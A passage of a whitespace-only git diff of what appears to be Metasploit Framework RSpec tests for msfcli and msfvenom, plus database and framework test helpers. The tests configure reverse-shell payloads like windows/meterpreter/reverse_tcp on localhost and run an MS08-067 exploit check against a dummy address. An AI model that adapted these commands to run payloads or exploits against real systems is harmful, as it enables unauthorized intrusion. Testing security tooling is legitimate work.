"should have my modules initialized with the correct parameters" do + args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m[:module].datastore['lhost'].should eq("127.0.0.1") - end + m[:module].datastore['lhost'].should eq("127.0.0.1") + end - it "should give me an empty hash as a result of an invalid module name" do - args = "WHATEVER payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - m = '' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - } + it "should give me an empty hash as a result of an invalid module name" do + args = "WHATEVER payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" + m = '' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + } - m.should eq({}) - end - end + m.should eq({}) + end + end - context ".engage_mode" do - it "should show me the summary of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version s' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } + context ".engage_mode" do + it "should show me the summary of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version s' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } - stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ - end + stdout.should =~ /Module: auxiliary\/scanner\/http\/http_version/ + end - it "should show me the options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version O' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } + it "should show me the options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version O' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } - stdout.should =~ /The target address range or CIDR identifier/ - end + stdout.should =~ /The target address range or CIDR identifier/ + end - it "should me the advanced options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version A' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } + it "should me the advanced options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version A' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } - stdout.should =~ /UserAgent/ - end + stdout.should =~ /UserAgent/ + end - it "should show me the IDS options of module auxiliary/scanner/http/http_version" do - args = 'auxiliary/scanner/http/http_version I' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /Insert fake relative directories into the uri/ - end + it "should show me the IDS options of module auxiliary/scanner/http/http_version" do + args = 'auxiliary/scanner/http/http_version I' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /Insert fake relative directories into the uri/ + end - it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf T" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /IE 8 on Windows 7/ - end + it "should show me the targets available for module windows/browser/ie_cbutton_uaf" do + args = "windows/browser/ie_cbutton_uaf T" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /IE 8 on Windows 7/ + end - it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do - args = "windows/browser/ie_cbutton_uaf P" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /windows\/meterpreter\/reverse_tcp/ - end + it "should show me the payloads available for module windows/browser/ie_cbutton_uaf" do + args = "windows/browser/ie_cbutton_uaf P" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /windows\/meterpreter\/reverse_tcp/ + end - it "should try to run the check function of an exploit" do - args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /failed/ - end + it "should try to run the check function of an exploit" do + args = "windows/smb/ms08_067_netapi rhost=0.0.0.1 C" # Some BS IP so we can fail + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /failed/ + end - it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do - args = 'auxiliary/scanner/http/http_version p' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support payloads/ - end + it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do + args = 'auxiliary/scanner/http/http_version p' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support payloads/ + end - it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do - args = 'auxiliary/scanner/http/http_version t' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support targets/ - end + it "should warn my auxiliary module isn't supported by mode 't' (show targets)" do + args = 'auxiliary/scanner/http/http_version t' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support targets/ + end - it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do - args = 'windows/browser/ie_cbutton_uaf ac' - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /This type of module does not support actions/ - end + it "should warn my exploit module isn't supported by mode 'ac' (show actions)" do + args = 'windows/browser/ie_cbutton_uaf ac' + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /This type of module does not support actions/ + end - it "should show actions available for module auxiliary/scanner/http/http_put" do - args = "auxiliary/scanner/http/http_put ac" - stdout = get_stdout { - cli = Msfcli.new(args.split(' ')) - m = cli.init_modules - cli.engage_mode(m) - } - stdout.should =~ /DELETE/ - end + it "should show actions available for module auxiliary/scanner/http/http_put" do + args = "auxiliary/scanner/http/http_put ac" + stdout = get_stdout { + cli = Msfcli.new(args.split(' ')) + m = cli.init_modules + cli.engage_mode(m) + } + stdout.should =~ /DELETE/ + end - end + end - end + end end \ No newline at end of file diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index d3db1ea226..9f098ee561 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -5,263 +5,263 @@ require 'msf/core' load File.join(Msf::Config.install_root, 'msfvenom') shared_examples_for "nop dumper" do - it "should list known nops" do - %w! - x86/opty2 - armle/simple - !.each do |name| - dump.should include(name) - end - end + it "should list known nops" do + %w! + x86/opty2 + armle/simple + !.each do |name| + dump.should include(name) + end + end end shared_examples_for "encoder dumper" do - it "should list known encoders" do - %w! - generic/none - x86/shikata_ga_nai - x64/xor - !.each do |name| - dump.should include(name) - end - end + it "should list known encoders" do + %w! + generic/none + x86/shikata_ga_nai + x64/xor + !.each do |name| + dump.should include(name) + end + end end shared_examples_for "payload dumper" do - it "should list known payloads" do - # Just a representative sample of some of the important ones. - %w! - cmd/unix/reverse - java/meterpreter/reverse_tcp - java/meterpreter/reverse_https - linux/x86/shell/reverse_tcp - linux/x86/shell_reverse_tcp - linux/x64/shell/reverse_tcp - linux/x64/shell_reverse_tcp - linux/armle/shell/reverse_tcp - linux/armle/shell_reverse_tcp - linux/mipsbe/shell_reverse_tcp - php/meterpreter/reverse_tcp - windows/meterpreter/reverse_tcp - windows/meterpreter/reverse_https - !.each do |name| - dump.should include(name) - end - end + it "should list known payloads" do + # Just a representative sample of some of the important ones. + %w! + cmd/unix/reverse + java/meterpreter/reverse_tcp + java/meterpreter/reverse_https + linux/x86/shell/reverse_tcp + linux/x86/shell_reverse_tcp + linux/x64/shell/reverse_tcp + linux/x64/shell_reverse_tcp + linux/armle/shell/reverse_tcp + linux/armle/shell_reverse_tcp + linux/mipsbe/shell_reverse_tcp + php/meterpreter/reverse_tcp + windows/meterpreter/reverse_tcp + windows/meterpreter/reverse_https + !.each do |name| + dump.should include(name) + end + end end describe MsfVenom do - let(:stdin) { StringIO.new("", "rb") } - let(:stdout) { StringIO.new("", "wb") } - let(:stderr) { StringIO.new("", "wb") } - subject(:venom) { described_class.new(stdin, stdout, stderr, framework) } - before(:each) do - conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') - conf_dir.mkpath - end - after(:each) do - dummy_dir = Metasploit::Framework.root.join('spec', 'dummy') - dummy_dir.rmtree - end + let(:stdin) { StringIO.new("", "rb") } + let(:stdout) { StringIO.new("", "wb") } + let(:stderr) { StringIO.new("", "wb") } + subject(:venom) { described_class.new(stdin, stdout, stderr, framework) } + before(:each) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + end + after(:each) do + dummy_dir = Metasploit::Framework.root.join('spec', 'dummy') + dummy_dir.rmtree + end - before(:all) do - conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') - conf_dir.mkpath - create_opts = { - :module_types => [ - ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP - ], - 'ConfigDirectory' => conf_dir.to_s, - 'DisableDatabase' => true - } - @framework = ::Msf::Simple::Framework.create(create_opts) - end + before(:all) do + conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config') + conf_dir.mkpath + create_opts = { + :module_types => [ + ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP + ], + 'ConfigDirectory' => conf_dir.to_s, + 'DisableDatabase' => true + } + @framework = ::Msf::Simple::Framework.create(create_opts) + end - let(:framework) { @framework } - describe "#dump_encoders" do - it_behaves_like "encoder dumper" do - let(:dump) { venom.dump_encoders } - end - end + let(:framework) { @framework } + describe "#dump_encoders" do + it_behaves_like "encoder dumper" do + let(:dump) { venom.dump_encoders } + end + end - describe "#dump_nops" do - it_behaves_like "nop dumper" do - let(:dump) { venom.dump_nops } - end - end + describe "#dump_nops" do + it_behaves_like "nop dumper" do + let(:dump) { venom.dump_nops } + end + end - describe "#dump_payloads" do - it_behaves_like "payload dumper" do - let(:dump) { venom.dump_payloads } - end - end + describe "#dump_payloads" do + it_behaves_like "payload dumper" do + let(:dump) { venom.dump_payloads } + end + end - describe "#parse_args" do + describe "#parse_args" do - context "help" do - it "should raise UsageError" do - expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) - expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError) - expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) - end - end + context "help" do + it "should raise UsageError" do + expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError) + expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError) + end + end - context "with bad arguments" do + context "with bad arguments" do - it "should raise UsageError with empty arguments" do - expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) - end + it "should raise UsageError with empty arguments" do + expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) + end - it "should raise with unexpected options" do - expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) - end + it "should raise with unexpected options" do + expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) + end - %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| - it "should raise UsageError with no arg for option #{required_arg}" do - expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) - end - end + %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| + it "should raise UsageError with no arg for option #{required_arg}" do + expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) + end + end - end + end - end + end - describe "#generate_raw_payload" do + describe "#generate_raw_payload" do - before do - venom.parse_args(args) - end + before do + venom.parse_args(args) + end - context "with --options" do + context "with --options" do - context "and a payload" do - let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } - it "should print options" do - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should include("LPORT") - end - context "and some datastore options" do - it "should print options" do - venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should match(/LPORT\s+1234/) - end + context "and a payload" do + let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } + it "should print options" do + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should include("LPORT") + end + context "and some datastore options" do + it "should print options" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end - it "should print options case-insensitively" do - venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should match(/LPORT\s+1234/) - end - end - end + it "should print options case-insensitively" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end + end + end - context "and an invalid payload" do - let(:args) { %w! -o -p asdf! } - it "should raise" do - expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) - end - end + context "and an invalid payload" do + let(:args) { %w! -o -p asdf! } + it "should raise" do + expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) + end + end - end + end - [ - { :format => "elf", :arch => "x86" }, - { :format => "raw", :arch => "x86" }, - { :format => "elf", :arch => "armle" }, - { :format => "raw", :arch => "armle" }, - { :format => "elf", :arch => "ppc" }, - { :format => "raw", :arch => "ppc" }, - { :format => "elf", :arch => "mipsle" }, - { :format => "raw", :arch => "mipsle" }, - ].each do |format_hash| - format = format_hash[:format] - arch = format_hash[:arch] + [ + { :format => "elf", :arch => "x86" }, + { :format => "raw", :arch => "x86" }, + { :format => "elf", :arch => "armle" }, + { :format => "raw", :arch => "armle" }, + { :format => "elf", :arch => "ppc" }, + { :format => "raw", :arch => "ppc" }, + { :format => "elf", :arch => "mipsle" }, + { :format => "raw", :arch => "mipsle" }, + ].each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] - context "building #{format} with linux/#{arch}/shell_bind_tcp" do - let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } - # We're not encoding, so should be testable here - it "should contain /bin/sh" do - output = venom.generate_raw_payload - # Usually push'd in two instructions, so the whole string - # isn't all together. Check for the two pieces seperately - output.should include("/sh") - output.should include("/bin") - end - end + context "building #{format} with linux/#{arch}/shell_bind_tcp" do + let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } + # We're not encoding, so should be testable here + it "should contain /bin/sh" do + output = venom.generate_raw_payload + # Usually push'd in two instructions, so the whole string + # isn't all together. Check for the two pieces seperately + output.should include("/sh") + output.should include("/bin") + end + end - end + end - end + end - describe "#generate" do - include_context 'Msf::Util::Exe' + describe "#generate" do + include_context 'Msf::Util::Exe' - before { venom.parse_args(args) } + before { venom.parse_args(args) } - context "with --list" do + context "with --list" do - context "with invalid module type" do - let(:args) { %w!--list asdf! } - it "should raise UsageError" do - expect { venom.generate }.to raise_error(MsfVenom::UsageError) - end - end + context "with invalid module type" do + let(:args) { %w!--list asdf! } + it "should raise UsageError" do + expect { venom.generate }.to raise_error(MsfVenom::UsageError) + end + end - [ "nop", "encoder", "payload" ].each do |type| - context "#{type}s" do - let(:args) { %W!--list #{type}s! } - it_behaves_like "#{type} dumper" do - let(:dump) do - venom.generate - stderr.string - end - end - end - end + [ "nop", "encoder", "payload" ].each do |type| + context "#{type}s" do + let(:args) { %W!--list #{type}s! } + it_behaves_like "#{type} dumper" do + let(:dump) do + venom.generate + stderr.string + end + end + end + end - end + end - context "with invalid datastore option" do - let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } - it "should fail validation" do - expect { venom.generate }.to raise_error(Msf::OptionValidateError) - end - end + context "with invalid datastore option" do + let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end - context "without required datastore option" do - # Requires LHOST - let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } - it "should fail validation" do - expect { venom.generate }.to raise_error(Msf::OptionValidateError) - end - end + context "without required datastore option" do + # Requires LHOST + let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end - @platform_format_map.each do |plat, formats| - formats.each do |format_hash| - format = format_hash[:format] - arch = format_hash[:arch] - # Need a new context for each so the let() will work correctly - context "with format=#{format} platform=#{plat} arch=#{arch}" do - # This will build executables with no payload. They won't work - # of course, but at least we can see that it is producing the - # correct file format for the given arch and platform. - let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } - it "should print a #{format} to stdout" do - venom.generate - output = stdout.string - verify_bin_fingerprint(format_hash, output) - end - end - end - end + @platform_format_map.each do |plat, formats| + formats.each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] + # Need a new context for each so the let() will work correctly + context "with format=#{format} platform=#{plat} arch=#{arch}" do + # This will build executables with no payload. They won't work + # of course, but at least we can see that it is producing the + # correct file format for the given arch and platform. + let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } + it "should print a #{format} to stdout" do + venom.generate + output = stdout.string + verify_bin_fingerprint(format_hash, output) + end + end + end + end - end + end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 910228f14b..459103aba2 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -33,17 +33,17 @@ RSpec.configure do |config| # factory_girl.set_factory_paths initializer and after_initialize for # FactoryGirl::Railtie config.before(:suite) do - # Need to load Mdm models first so factories can use them - MetasploitDataModels.require_models + # Need to load Mdm models first so factories can use them + MetasploitDataModels.require_models - FactoryGirl.definition_file_paths = [ - MetasploitDataModels.root.join('spec', 'factories'), - # Have metasploit-framework's definition file path last so it can - # modify gem factories. - Metasploit::Framework.root.join('spec', 'factories') - ] + FactoryGirl.definition_file_paths = [ + MetasploitDataModels.root.join('spec', 'factories'), + # Have metasploit-framework's definition file path last so it can + # modify gem factories. + Metasploit::Framework.root.join('spec', 'factories') + ] - FactoryGirl.find_definitions - end + FactoryGirl.find_definitions + end end diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index c7089c3ac9..81065f8181 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -1,108 +1,108 @@ module Shoulda # :nodoc: - module Matchers - module ActiveRecord # :nodoc: + module Matchers + module ActiveRecord # :nodoc: - # Ensures that the number of database queries is known. Rails 3.1 or greater is required. - # - # Options: - # * <tt>when_calling</tt> - Required, the name of the method to examine. - # * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine. - # * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. - # - # Examples: - # it { should query_the_database(4.times).when_calling(:complicated_counting_method) - # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) - # it { should_not query_the_database.when_calling(:cached_count) - # - def query_the_database(times = nil) - QueryTheDatabaseMatcher.new(times) - end + # Ensures that the number of database queries is known. Rails 3.1 or greater is required. + # + # Options: + # * <tt>when_calling</tt> - Required, the name of the method to examine. + # * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine. + # * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. + # + # Examples: + # it { should query_the_database(4.times).when_calling(:complicated_counting_method) + # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { should_not query_the_database.when_calling(:cached_count) + # + def query_the_database(times = nil) + QueryTheDatabaseMatcher.new(times) + end - class QueryTheDatabaseMatcher # :nodoc: - def initialize(times) - @queries = [] - @options = {} + class QueryTheDatabaseMatcher # :nodoc: + def initialize(times) + @queries = [] + @options = {} - if times.respond_to?(:count) - @options[:expected_query_count] = times.count - else - @options[:expected_query_count] = times - end - end + if times.respond_to?(:count) + @options[:expected_query_count] = times.count + else + @options[:expected_query_count] = times + end + end - def when_calling(method_name) - @options[:method_name] = method_name - self - end + def when_calling(method_name) + @options[:method_name] = method_name + self + end - def with(*method_arguments) - @options[:method_arguments] = method_arguments - self - end + def with(*method_arguments) + @options[:method_arguments] = method_arguments + self + end - def or_less - @options[:expected_count_is_maximum] = true - self - end + def or_less + @options[:expected_count_is_maximum] = true + self + end - def matches?(subject) - subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| - @queries << payload unless filter_query(payload) - end + def matches?(subject) + subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| + @queries << payload unless filter_query(payload) + end - if @options[:method_arguments] - subject.send(@options[:method_name], *@options[:method_arguments]) - else - subject.send(@options[:method_name]) - end + if @options[:method_arguments] + subject.send(@options[:method_name], *@options[:method_arguments]) + else + subject.send(@options[:method_name]) + end - ActiveSupport::Notifications.unsubscribe(subscriber) + ActiveSupport::Notifications.unsubscribe(subscriber) - if @options[:expected_count_is_maximum] - @queries.length <= @options[:expected_query_count] - elsif @options[:expected_query_count].present? - @queries.length == @options[:expected_query_count] - else - @queries.length > 0 - end - end + if @options[:expected_count_is_maximum] + @queries.length <= @options[:expected_query_count] + elsif @options[:expected_query_count].present? + @queries.length == @options[:expected_query_count] + else + @queries.length > 0 + end + end - def failure_message_for_should - if @options.key?(:expected_query_count) - "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries - else - "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries - end - end + def failure_message_for_should + if @options.key?(:expected_query_count) + "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end - def failure_message_for_should_not - if @options[:expected_query_count] - "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries - else - "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries - end - end + def failure_message_for_should_not + if @options[:expected_query_count] + "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end - private + private - def friendly_queries - @queries.map do |query| - "\n (#{query[:name]}) #{query[:sql]}" - end.join - end + def friendly_queries + @queries.map do |query| + "\n (#{query[:name]}) #{query[:sql]}" + end.join + end - def filter_query(query) - query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) - end + def filter_query(query) + query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) + end - def schema_terms - ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] - end + def schema_terms + ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] + end - def looks_like_schema?(sql) - schema_terms.any? { |term| sql.include?(term) } - end - end - end - end + def looks_like_schema?(sql) + schema_terms.any? { |term| sql.include?(term) } + end + end + end + end end diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb index 2ffec31a47..5bbb900e15 100644 --- a/spec/support/shared/contexts/database_cleaner.rb +++ b/spec/support/shared/contexts/database_cleaner.rb @@ -2,36 +2,36 @@ require 'metasploit/framework/database' shared_context 'DatabaseCleaner' do - def with_established_connection - begin - ActiveRecord::Base.connection_pool.with_connection do - yield - end - rescue ActiveRecord::ConnectionNotEstablished - # if there isn't a connection established, then established one and try - # again - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) + def with_established_connection + begin + ActiveRecord::Base.connection_pool.with_connection do + yield + end + rescue ActiveRecord::ConnectionNotEstablished + # if there isn't a connection established, then established one and try + # again + ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations + spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + ActiveRecord::Base.establish_connection(spec) - retry - end - end + retry + end + end - # clean before all in case last test run was interrupted before - # after(:each) could clean up - before(:all) do - with_established_connection do - DatabaseCleaner.clean_with(:truncation) - end - end + # clean before all in case last test run was interrupted before + # after(:each) could clean up + before(:all) do + with_established_connection do + DatabaseCleaner.clean_with(:truncation) + end + end - # Clean up after each test - after(:each) do - with_established_connection do - # Testing using both :truncation and :deletion; :truncation took long - # for testing. - DatabaseCleaner.clean_with(:deletion) - end - end + # Clean up after each test + after(:each) do + with_established_connection do + # Testing using both :truncation and :deletion; :truncation took long + # for testing. + DatabaseCleaner.clean_with(:deletion) + end + end end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index a36d4c7d79..c060b5ceb3 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,23 +1,23 @@ shared_context 'Msf::DBManager' do - include_context 'DatabaseCleaner' - include_context 'Msf::Simple::Framework' + include_context 'DatabaseCleaner' + include_context 'Msf::Simple::Framework' - let(:active) do - true - end + let(:active) do + true + end - let(:db_manager) do - framework.db - end + let(:db_manager) do + framework.db + end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - db_manager.connect(spec) + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + db_manager.connect(spec) - db_manager.stub(:active => active) - end + db_manager.stub(:active => active) + end end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/modules/error_attributes.rb b/spec/support/shared/contexts/msf/modules/error_attributes.rb index f948f57426..1d7c7474ea 100644 --- a/spec/support/shared/contexts/msf/modules/error_attributes.rb +++ b/spec/support/shared/contexts/msf/modules/error_attributes.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_context 'Msf::Modules::Error attributes' do - let(:causal_message) do - 'rspec' - end + let(:causal_message) do + 'rspec' + end - let(:module_path) do - "parent/path/type/#{module_reference_name}.rb" - end + let(:module_path) do + "parent/path/type/#{module_reference_name}.rb" + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end end diff --git a/spec/support/shared/contexts/msf/modules/loader_base.rb b/spec/support/shared/contexts/msf/modules/loader_base.rb index 9b6eac3423..49bea73bc9 100644 --- a/spec/support/shared/contexts/msf/modules/loader_base.rb +++ b/spec/support/shared/contexts/msf/modules/loader_base.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_context "Msf::Modules::Loader::Base" do - let(:parent_path) do - parent_pathname.to_s - end + let(:parent_path) do + parent_pathname.to_s + end - let(:parent_pathname) do - root_pathname.join('modules') - end + let(:parent_pathname) do + root_pathname.join('modules') + end - let(:root_pathname) do - Pathname.new(Msf::Config.install_root) - end + let(:root_pathname) do + Pathname.new(Msf::Config.install_root) + end end diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index d5f7235b73..e55df08207 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -3,38 +3,38 @@ require 'msf/base/simple/framework' require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do - let(:dummy_pathname) do - Metasploit::Framework.root.join('spec', 'dummy') - end + let(:dummy_pathname) do + Metasploit::Framework.root.join('spec', 'dummy') + end - let(:framework) do - Msf::Simple::Framework.create( - 'ConfigDirectory' => framework_config_pathname.to_s, - # don't load any module paths so we can just load the module under test and save time - 'DeferModuleLoads' => true - ) - end + let(:framework) do + Msf::Simple::Framework.create( + 'ConfigDirectory' => framework_config_pathname.to_s, + # don't load any module paths so we can just load the module under test and save time + 'DeferModuleLoads' => true + ) + end - let(:framework_config_pathname) do - dummy_pathname.join('framework', 'config') - end + let(:framework_config_pathname) do + dummy_pathname.join('framework', 'config') + end - before(:each) do - framework_config_pathname.mkpath - end + before(:each) do + framework_config_pathname.mkpath + end - after(:each) do - dummy_pathname.rmtree - end + after(:each) do + dummy_pathname.rmtree + end - after(:each) do - # explicitly kill threads so that they don't exhaust connection pool - thread_manager = framework.threads + after(:each) do + # explicitly kill threads so that they don't exhaust connection pool + thread_manager = framework.threads - thread_manager.each do |thread| - thread.kill - end + thread_manager.each do |thread| + thread.kill + end - 